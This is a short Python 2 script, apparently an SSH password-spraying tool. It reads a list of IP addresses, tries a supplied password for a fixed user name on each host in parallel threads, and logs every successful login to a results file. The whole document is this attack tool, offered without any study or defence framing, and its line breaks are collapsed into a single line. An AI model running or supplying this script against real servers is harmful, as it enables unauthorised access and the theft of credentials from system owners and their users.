#!/usr/bin/env python import paramiko, sys, time, threading filename=sys.argv[1] password=sys.argv[2] username = "USER" fd = open(filename, "r") def attempt(ip,UserName,Password): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(ip, username=UserName, password=Password, timeout=10) except paramiko.AuthenticationException: print '[-] %s:%s %s -Fail-' % (UserName, Password, ip) except Exception, e: print '[-] %s -Error-' % (ip) else: log = open("results", "a") print >> log, '%s:%s %s -Correct-' % (UserName, Password, ip) ssh.close() return print '[+] Starting ...' for line in fd.readlines(): ip = line.strip() t = threading.Thread(target=attempt, args=(ip,username,password)) t.start() time.sleep(0.3) fd.close() sys.exit(0)